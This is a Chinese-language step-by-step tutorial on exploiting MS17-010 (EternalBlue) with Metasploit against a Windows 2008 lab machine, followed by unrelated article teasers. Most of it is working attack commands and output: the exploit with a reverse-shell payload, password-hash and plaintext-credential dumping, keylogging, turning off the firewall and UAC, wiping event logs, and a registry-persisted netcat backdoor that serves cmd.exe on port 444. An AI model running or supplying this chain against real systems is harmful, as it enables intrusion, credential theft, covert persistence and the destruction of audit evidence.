永恒之蓝(MS17-010)漏洞利用

news2025/7/11 14:59:20

永恒之蓝(eternalblue)

永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry程序,使全世界大范围内遭受了该程序,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。但不过在该程序出来不久就被微软通过打补丁修复了。

SMB(Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

1、漏洞利用

第一步:在kali中使用nmap 扫描win-2K8 靶机

1)通过nmap 扫描,我们发现: 目标主机开放了445端口

2)445是共享端口—windows SMB 共享服务使用的端口

3)而且我们还清楚,永恒之蓝这个漏洞,针对的就是windows  SMB 服务,针对的就是445 端口

4)所以,既然目标服务器开放445端口,我们就可以尝试利用永恒之蓝这个漏洞对目标服务器进行扫描和探测

5)当然,我们还可以进一步去做漏洞扫描,用nessus 工具对目标服务器进行漏扫

6)通过nessus  我们也发现目标服务器上存在永恒之蓝这个漏洞

在这里插入图片描述
7)所以我们就可以去msf 这个工具中,查找和永恒之蓝这个漏洞相关的攻击或者辅助的脚本

  • 第二步: 脚本查找
    msf6 > search ms17-010

    1  auxiliary/scanner/smb/smb_ms17_010                      //辅助扫描脚本(smb)      

    2  exploit/windows/smb/ms17_010_eternalblue            //攻击脚本(永恒之蓝)
  • 第三步:漏洞扫描
    msf6 > use 1 

    msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.10.145

    msf6 auxiliary(scanner/smb/smb_ms17_010) > run


	msf6 auxiliary(scanner/smb/smb_ms17_010) > run

	[+] 192.168.10.145:445    - Host is likely VULNERABLE to MS17-010! 
                           //容易遭受ms17-010的攻击

  • 第四步: 漏洞利用,创建反弹连接
msf6 auxiliary(scanner/smb/smb_ms17_010) > back

msf6 > use 2

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp



msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.10.145

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

meterpreter > 




  • 第五步:meterpreter环境中,操作远程资源
meterpreter > pwd         //查看远程目录位置

meterpreter > cd   c:/users         //切换到c盘下的users

meterpreter > ls         //列出当前远程目录下的文档资源

meterpreter > dir      //列出当前远程目录下的文档资源(和ls 命令作用相同)

meterpreter > edit  a.txt      //创建并编辑文件a.txt

meterpreter >  cat    a.txt    //查看a.txt 文件内容

meterpreter >  del   a.txt     //删除a.txt文件

meterpreter > mkdir   ntd2111  //创建新目录

meterpreter > rmdir  ntd2111    //删除目录

meterpreter >  lpwd   //查看在kali本机的目录

meterpreter >  lcd     /root/桌面     

//在本地主机kali中,将当前目录切换到 /root/桌面

meterpreter > mkdir    gaga

//在靶机win2008的当前目录users下创建目录abc

meterpreter > upload    /etc/passwd       c:/users/gaga

//将kali 中的文件/etc/passwd 上传到靶机win2008的指定的gaga目录

meterpreter > ls   abc

备注:可以回到windows-2008 c:/users/ 下手动创建jmwj.txt

meterpreter > download   jmwj.txt    

//从靶机win2008中下载文件jmwj.txt 到kali 主机的当前目录

meterpreter > download   jmwj.txt    /opt/

//从靶机win2008中下载文件jmwj.txt  到kali 主机的指定目录/opt
  • 第六步:获取密码
meterpreter > hashdump    

Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b

复制第四部分到网站查询 [https://cmd5.com/](https://cmd5.com/)

  • 第七步:获取用户信息
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
  • 第八步:通过 kiwi 模块获取用户口令
meterpreter > load kiwi      //加载kiwi

meterpreter > help kiwi      //kiwi使用帮助

meterpreter > creds_all      //检测所有凭证,该命令可以列举系统中的明文密码

kiwi模块,后渗透阶段的一款利器,内网渗透的一块利器,
windows 密码抓取神器、拥有提权、抓取凭证密码、很多功能,我们今天主要使用进程迁移和密码抓取
  • 第九步:屏幕共享和屏幕截图
meterpreter > screenshot    //屏幕截图

meterpreter > screenshare    //屏幕共享,按快捷键Ctrl + C停止


  • 第十步:键盘记录

    1) 查看我们当前的用户识别码、进程识别码、查看当前用户权限

      meterpreter >  getuid       //查看用户识别码

      meterpreter >  getpid      //查看进程识别码

      meterpreter > getprivs     //查看当前用户权限

      meterpreter > ps            //查看进程列表
		

meterpreter > ps 
============
进程号    应用程序的名字       用户                          
 PID     Name               User                          
 ---     ----               ----                                                                                                            
 1048   spoolsv.exe         NT AUTHORITY\**SYSTEM**           
 1504   taskhost.exe       VAGRANT-2008R2\Administrator                   
  • 第十一步:进程迁移

    将 SYSTEM 权限 迁移为 Administrator

    meterpreter > ps     //查看进程

    meterpreter > migrate  1504     //进程迁移

    meterpreter > getuid    //确认迁移后的用户识别码

    备注:进程迁移,只能同级别迁移或者高权限用户往低权限迁移,低权限无法往高权限迁移
  • 第十二步:执行键盘操作记录,

    备注:键盘记录需要拥有administrator 权限后才可以成功

    备注:getuid 检测

    方法1:开启键盘记录

    第一:先查看进程

        meterpreter >ps
  第二:做进程迁移,迁移到administrator 用户权限
        meterpreter >migrate  1504(实验过程中,已实际进程号为准)
  第三:确认用户权限
        meterpreter > getuid 
  第四:开启键盘记录
        meterpreter > keyscan_start     //开启键盘记录

第五:在win-2008中拼命疯狂的敲键盘

第六:回到kali 验证:

        meterpreter > keyscan_dump   //导出键盘记录    
方法2:利用后渗透脚本开启键盘记录

第一:先查看进程

    meterpreter >ps

第二:做进程迁移,迁移到administrator 用户权限

    meterpreter >migrate  1504(实验过程中,已实际进程号为准)

第三:确认用户权限

    meterpreter > getuid 

第四:开启键盘记录后渗透脚本

    meterpreter > run post/windows/capture/keylog_recorder

第五:在 win2k8 打开记事本,输入任意内容

第六:在 kali 检查是否成功记录

      打开新的终端,执行命令检查文件

      [root]# cat   /root/.msf4/loot/20211226174349_default_192.168.10.145··········· 
  • 第十三步: 防火墙配置
    meterpreter > shell

    C:\Windows\system32> chcp  65001   //解决中文乱码,切换为英文格式

备注windows新版本命令:

1)查看防火墙当前状态

    C:\Windows\system32> netsh    advfirewall      show     currentprofile       state

2)关闭防火墙

    C:\Windows\system32> netsh  advfirewall  set       allprofiles      state    off 

3) 开启防火墙

    C:\Windows\system32> netsh advfirewall set allprofiles state on

4)添加防火墙入站规则,放行3333端口

C:\Windows\system32> netsh  advfirewall  firewall   add     rule   name=test   dir=in   action=allow   protocol=tcp localport=3333
                            高级防火墙      防火墙     添加     规则   名字          入站     动作    允许     协议         本地端口
//添加入站规则,规则名称:test   , 协议:tcp    端口:3333

备注:1024之前的端口号,不要用,为什么,因为那些端口号,都已经有主了
  • 第十四步: 关闭UAC
    UAC:User Account Control
  • 用户帐户控制-是windows操作系统中一种安全控制机制

  • 使用UAC,可以防止未经授权应用程序的自动安装,阻止恶意程序,防止系统损坏
    win2k8 检查 UAC 状态

    运行中输入 msconfig,

    默认用户账户是关闭的,我们可以先打开

ADD 添加一个注册表项 -v 创建键值 -t 键值类型 -d 键值的值 1开/0关

-f 不用提示就强行覆盖现有注册表项

在 meterpreter >进入shell 运行命令, 使win2008添加注册表项,关闭用户账户

      c:\windows\system> reg ADD  HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System     /v   EnableLUA    /t     REG_DWORD   /d    0    /f
  • 第十五步:在meterpreter 下清除日志
    meterpreter > clearev     //擦除windows 事件查看器
[*] Wiping 1146 records from Application...         //擦除1146应用日志
[*] Wiping 3288 records from System...              //擦除3288系统日志
[*] Wiping 2669 records from Security...           //擦除2669 安全日志

备注:虽然清除 很多日志,但是你擦除日志的这条日志被保留了

2、持久性后门-nc 瑞士军刀 著名后门程序
  • 第一步:上传后面程序nc.exe 到win-2008
    meterpreter > upload /usr/share/windows-binaries/nc.exe   c:/windows/system32

1)查看上传结果及权限

      meterpreter > cd   c:/windows/system32

      meterpreter > ls nc.exe
  • 第二步:在 meterpreter > 执行命令,远程配置win-2008注册表,实现nc.exe 能够开机自启

    第一:添加键值nc

    meterpreter > **reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run   -v   nc   -d "C:\windows\system32\nc.exe     -Ldp   444     -e   cmd.exe"

备注:用注册表告诉win-2008这个系统,让nc.exe程序开机自启动

  • 第二:查询有没有nc这个键值,确认是否添加成功
       meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

      Values (3):

       VMware VM3DService Process

       VMware User Process

       nc     //新增的注册表
  • 第三:查询 NC键值的详细数值内容
      meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc

      Key: HKLM\software\microsoft\windows\currentversion\Run

      Name: nc

      Data: C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe

备注:在win-2008验证:有键值,有键值内容

    ![](https://secure2.wostatic.cn/static/9x17M9vUpdEinV6sP5ophK/1640543114(1).png)
  • 第三步:重启win-2008

    备注:重启win-2008 验证,是否能开机自动启动

    验证:验证靶机上的444端口是否开启

    meterpreter >shell

    C:\Windows\system32> netstat -an

    C:\Windows\system32> netstat -an | findstr "444"

备注:验证2008系统中的444端口是否开启,如果开启证明,nc这个程序以及开机自动运行了,如果没有444这个端口,就代表能nc程序没能成功运行

  • 第四步:可以检查防火墙,防火墙要在入站规则中放行444端口,或者关闭防火墙
    meterpreter > shell

    C:\Windows\system32>  netsh advfirewall firewall add rule name=tedu dir=in action=allow protocol=tcp localport=444
  • 第五步:后门接入

    在 kali 连接 win2k8

    在kali 中打开一个新的终端

     [root] nc 192.168.10.145 444

    C:\Windows\system32>
  • 第六步:清楚痕迹

    验证:在事件查看器里面看到的是administrator 的登录信息,可以清空日志

    
    C:\Windows\system32>  wevtutil el    //列出日志名称
    
    C:\Windows\system32>  wevtutil  cl application   //清除应用程序日志
    
    C:\Windows\system32>  wevtutil  cl security     //清除安全日志
    
    C:\Windows\system32>  wevtutil  cl  system    //清除系统日志
    
  • 常见错误排错:

    如果无法连接到后门程序

    第一步:可以在kali 中检查端口状态

      meterpreter >shell

      C:\Windows\system32> netstat -an

      C:\Windows\system32> netstat -an | findstr ":444"

    ```

    第二步:可以检查防火墙,防火墙要在入站规则中放行444端口,或者关闭防火墙
  meterpreter > shell

  C:\Windows\system32>  netsh advfirewall firewall add rule name=tedu dir=in action=allow protocol=tcp localport=444

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1158086.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

k8s约束调度

Kubernetes 是通过 List-Watch **** 的机制进行每个组件的协作,保持数据同步的,每个组件之间的设计实现了解耦。 list-watch核心组件为Controller Manager、Scheduler 和 kubelet,这三者协助完成了pod节点的建立过程。 在 Kubernetes 中&…

89 柱状图中最大的矩形

柱状图中最大的矩形 类似接雨水(反过来,相当于找接雨水最少的一段)题解1 暴力搜索(超时) O ( N 2 ) O(N^2) O(N2)另一种 题解2 单调栈【重点学习】常数优化 给定 n 个非负整数,用来表示柱状图中各个柱子的…

【接口测试】目前市面上流行的接口大多有哪几种协议的接口?

首先,关于协议这个词,你要清楚。 接口测试它是基于什么进行测试的,接口测试是什么测试类型,其实有有时候问到一个问题,关联性很强。很多关联性的问题你都可以去考虑。 首先接口测试一个功能黑盒测试&后端&#x…

Snackbar使用介绍及自定义

Snackbar使用介绍及自定义 前言一、Snackbar是什么?二、简单使用三、进阶使用参考 [Android 快别用Toast了,来试试Snackbar](https://blog.csdn.net/g984160547/article/details/121269520) 总结 前言 有个UI要显示自定义样式的toast,并居中…

APISpace 天气预报查询API接口案例代码

1.天气预报查询API产品介绍 APISpace 的 天气预报查询,支持全国以及全球多个城市的天气查询,包含国内3400个城市以及国际4万个城市的实况数据,同时也支持全球任意经纬度查询,接口会返回该经纬度最近的站点信息;更新频率…

【JavaScript】jQuery 使用案例

使用JS实现猜数字游戏 原生JS版&#xff1a; <!DOCTYPE html> <html lang"cn"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Docum…

视频编码转换技巧:视频批量转码H264转H265,高效且顺畅

随着数字媒体的广泛应用&#xff0c;视频编码转换已成为一种普遍的需求。不同的视频格式和编码标准使得在不同设备上播放视频成为可能&#xff0c;同时也带来了兼容性和传输效率的问题。本文讲解引用云炫AI智剪使视频编码转换技巧&#xff0c;即批量将H264编码转换为H265编码&a…

Java修仙传之神奇的ES(基础使用)

前言 ES是什么&#xff1a;一款强大的搜索引擎ES拓展&#xff1a;elasticsearch结合kibana、Logstash、Beats&#xff0c;也就是elastic stack&#xff08;ELK&#xff09; kibana&#xff1a;可视化 ES&#xff1a;搜索引起 Logstash&#xff1a;数据抓取&#xff0c;数据同步…

Element UI的table不同应用

目录 一、自定义表头 二、纵向表头(动态表头) 2.1、分别拿到表头和表头中日期对应的行数据 2.2、拿到每个日期对应的列数据 一、自定义表头 <el-table-column prop"chu" align"center"><!-- 自定义表头 --><template slot"header…

uniapp 微信小程序 授权隐私流程 网上没有的踩坑记录!

首先什么时候我们需要授权操作&#xff0c;比如下图我们调用这些接口时候首先必须让用户授权&#xff0c;这个政策是2022年2月21日24时起对一下接口增加用户授权操作&#xff0c;详情可以看微信文档 授权的逻辑按照官网的意思是&#xff1a; 这个时候就踩坑了&#xff0c;我把…

Linux命令超详细

Linux基础命令 Linux的目录结构 /&#xff0c;根目录是最顶级的目录了Linux只有一个顶级目录&#xff1a;/路径描述的层次关系同样适用/来表示/home/itheima/a.txt&#xff0c;表示根目录下的home文件夹内有itheima文件夹&#xff0c;内有a.txt ls命令 功能&#xff1a;列出…

高级文本编辑软件 UltraEdit mac中文版介绍说明

UltraEdit mac是一款在Windows系统中非常出名的文本编辑器&#xff0c; UltraEdit for mac对于IT程序猿来说&#xff0c;更是必不可少&#xff0c;可以使用UltraEdit编辑配置文件、查看16进制文件、代码高亮显示等&#xff0c;虽然Mac上已经有了很多优秀的文本编辑器&#xff0…

NOA赛道研究:预计2024年渗透率10%!中算力平台迎窗口期

从基础L2到L3的产业演进中&#xff0c;NOA是至关重要的一步&#xff0c;值得被密切关注。 对于产业链不同位置的玩家&#xff0c;其关注的点有所不同&#xff1a;①对于整车厂来说&#xff0c;根据高工智能汽车监测的数据&#xff0c;基础L2的一体机产品已经趋向于成熟&#x…

看完这个,别说你还找不到免费好用的配音软件

有很多小伙伴还在找配音工具&#xff0c;今天就给大家一次性分享四款免费好用的配音工具&#xff0c;每一个都经过测试&#xff0c;并且是我们自己也在用的免费配音工具 第一款&#xff0c;悦音配音工具 拥有强悍的AI智能配音技术&#xff0c;更专业&#xff0c;完美贴近真人配…

出现身份验证错误,要求函数不受支持windows

现象环境&#xff1a; win10 企业版 mstsc内网远程server2016&#xff0c;出现错误代码&#xff1a; 远程桌面连接出现身份验证错误。要求的函数不受支持。这可能是由于CredSSP加密数据库修正 出现身份验证错误 原因&#xff1a; 系统更新&#xff0c;微软系统补丁的更新将…

armbian 安裝配置教程

1、安装贝锐蒲公英 下载安装包 cd /usr/local/share mkdir pgyvpn wget https://pgy.oray.com/softwares/58/download/1839/PgyVisitor_Raspberry_2.4.0.52291_arm64.deb安装 dpkg -i PgyVisitor_Raspberry_2.4.0.52291_arm64.deb 输入pgyvisitor login/pgyvisitor login -…

全网最全的RDMA拥塞控制入门基础教程

RDMA-CC&#xff08;全网最全的RDMA拥塞控制入门基础教程&#xff09; 文章目录 RDMA-CC&#xff08;全网最全的RDMA拥塞控制入门基础教程&#xff09;DMARDMARDMA举例RDMA优势RDMA的硬件实现方法RDMA基本术语FabricCA&#xff08;Channel Adapter&#xff09;Verbs 核心概念Me…

波浪理论第3波anzo capital昂首资本3个方法3秒确认

要想通过波浪理论在交易中赚取最大利润&#xff0c;确认第三波必不可少&#xff0c;因为第三波通常是趋势中最大和最强的一波&#xff0c;今天anzo capital昂首资本3个方法3秒确认。 首先&#xff0c;第一个确认方法—斜率。 通常&#xff0c;第三波的斜率会比第一波更陡峭&a…

使用 Python 进行自然语言处理第 5 部分:文本分类

一、说明 关于文本分类&#xff0c;文章已经很多&#xff0c;本文这里有实操代码&#xff0c;明确而清晰地表述这种过程&#xff0c;是实战工程师所可以参照和依赖的案例版本。 本文是 2023 年 1 月的 WomenWhoCode 数据科学跟踪活动提供的会议系列文章中的一篇。 之前的文章在…

Linux进程控制——进程创建与退出

我们在用C语言结尾的时候总是会有return 0&#xff0c;但是有些人并不知道它到底有什么意思 还有在进程状态中让进程使用kill命令能够停下来&#xff0c;这些与进程控制有着密切的关系1.进程的创建 fork函数能够在代码中创建一个子进程&#xff0c;我们创建子进程的目的就是为…